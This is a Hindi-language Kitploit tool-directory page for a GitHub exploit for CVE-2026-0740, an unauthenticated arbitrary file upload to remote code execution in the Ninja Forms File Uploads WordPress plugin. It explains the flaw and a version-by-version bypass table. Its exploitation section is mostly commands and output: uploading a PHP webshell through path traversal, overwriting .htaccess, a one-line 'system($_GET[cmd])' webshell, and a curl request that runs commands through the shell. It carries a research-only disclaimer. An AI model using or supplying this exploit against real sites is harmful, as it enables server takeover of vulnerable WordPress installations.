Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-0740 — Ninja Forms File Uploads <= 3.3.26 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड से RCE (CVE-2026-0740) | Kitploit
उपकरण/GitHubGitHub/whattheslime/cve-2026-0740
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubwhattheslime/cve-2026-0740

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड से RCE (CVE-2026-0740)

रिपॉजिटरी देखें
1222 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड से RCE

CVE-2026-0740 के लिए एक्सप्लॉइट, जिसे Selim Lanouar (whattheslime) ने खोजा।

पूर्ण तकनीकी गहन विश्लेषण के लिए, Lexfo के ब्लॉग पर पूरा लेख पढ़ें।

अस्वीकरण

यह रिपॉज़िटरी केवल शोध और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान की गई है।

लेखक इस जानकारी के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।


अवलोकन

वर्डप्रेस के लिए Ninja Forms - File Uploads प्लगइन, 3.3.26 तक (सहित) के सभी संस्करणों में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड के प्रति भेद्य है, जो रिमोट कोड निष्पादन की ओर ले जाता है।

यह भेद्यता मूल रूप से संस्करण 3.3.23 पर खोजी गई और रिपोर्ट की गई। संस्करण 3.3.24 तक शोषण सीधा है (गंतव्य फ़ाइलनाम पर कोई सत्यापन नहीं)। संस्करण 3.3.25 और 3.3.26 ने क्रमिक रूप से आंशिक पैच पेश किए, लेकिन यह समस्या केवल संस्करण 3.3.27 में पूरी तरह हल हुई।

भेद्यता श्रृंखला इस प्रकार है:

  1. एक अप्रमाणित उपयोगकर्ता किसी भी के साथ AJAX एक्शन के माध्यम से एक वैध अपलोड नॉन्स प्राप्त करता है।
field_id
nf_fu_get_new_nonce
  • nf_fu_upload हैंडलर अपलोड की गई फ़ाइल के एक्सटेंशन (जैसे image.jpg) को सत्यापित करता है, लेकिन क्लाइंट को POST पैरामीटर (image_jpg) के माध्यम से गंतव्य फ़ाइलनाम को ओवरराइड करने की अनुमति देता है।
  • गंतव्य फ़ाइलनाम को उचित सैनिटाइज़ेशन के बिना move_uploaded_file() में पास किया जाता है, जिससे मनमाने एक्सटेंशन और पाथ ट्रैवर्सल (../) संभव हो जाते हैं।
  • वेक्टर / एक्सटेंशन<= 3.3.243.3.253.3.263.3.27
    पाथ ट्रैवर्सल (../)PASS---
    .phpPASS---
    .phtml, .pharPASSPASS--
    .phtPASSPASSPASS-
    .html, .svg, .jsPASSPASSPASS-

    पूर्ण एक्सटेंशन तालिका और तकनीकी गहन विश्लेषण के लिए पूरा ब्लॉग पोस्ट देखें।


    शोषण

    पूर्वापेक्षाएँ

    • Ninja Forms प्लगइन इंस्टॉल और सक्रिय हो।
    • Ninja Forms - File Uploads एक्सटेंशन इंस्टॉल और सक्रिय हो (<= 3.3.26)।
    • किसी सक्रिय फ़ॉर्म या पहले से मौजूद फ़ाइल अपलोड फ़ील्ड की आवश्यकता नहीं है।

    सेटअप

    root@kitploit:~
    python3 -m venv .venv
    .venv/bin/pip install -r requirements.txt
    .venv/bin/python3 CVE-2026-0740.py -h
    

    फ़ाइल अपलोड करें (पाथ ट्रैवर्सल के बिना)

    root@kitploit:~
    python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
    

    फ़ाइल wp-content/uploads/ninja-forms/tmp/test.txt पर लिखी जाएगी।

    पाथ ट्रैवर्सल के साथ अपलोड करें (<= 3.3.24)

    root@kitploit:~
    python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
    

    फ़ाइल wp-content/webshell.php पर लिखी जाएगी।

    कस्टम गंतव्य फ़ाइलनाम के साथ अपलोड करें

    root@kitploit:~
    python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
    

    उदाहरण

    root@kitploit:~
    # 1. Detect version
    httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
    http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
    
    # 2. Write webshell
    echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
    
    # 3. Upload
    python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
    [2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
    [2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
    [2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
    [2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
    
    # 4. Execute commands
    curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    संदर्भ

    • ब्लॉग पोस्ट - तकनीकी गहन विश्लेषण
    • CVE-2026-0740
    • Wordfence - 50,000 WordPress साइटें प्रभावित
    • Wordfence - भेद्यता विवरण
    टूल डाउनलोड करें